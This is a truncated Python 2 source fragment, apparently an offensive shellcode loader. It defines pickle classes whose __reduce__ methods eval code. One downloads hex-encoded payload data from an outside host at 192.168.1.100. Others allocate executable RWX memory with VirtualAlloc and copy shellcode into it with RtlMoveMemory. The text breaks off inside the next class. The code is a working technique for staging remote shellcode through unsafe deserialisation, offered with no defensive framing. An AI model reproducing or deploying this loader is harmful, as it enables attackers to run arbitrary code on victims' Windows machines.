import ctypes, cPickle, base64, urllib2
class ptr(object):
def __reduce__(self):
return(eval, ("urllib2.urlopen('http://192.168.1.100/s2.txt').read().decode('hex')",))# base64
class buf(object):
def __init__(self, shellcode):
self.shellcode = shellcode
def __reduce__(self):
return (eval, ('ctypes.windll.kernel32.VirtualAlloc(0,len(shellcode),0x1000,0x40)',))
class windll(object):
def __init__(self, rwxpage, shellcode):
self.rwxpage = rwxpage
self.shellcode = shellcode
def __reduce__(self):
return (
eval, ("ctypes.windll.kernel32.RtlMoveMemory(rwxpage,ctypes.create_string_buffer(shellcode),len(shellcode))",))
class ht(object):
def __init__(self, rwxpage):
self.rwxpage = rwxpage
def __reduce__(self):
return (eval, ("c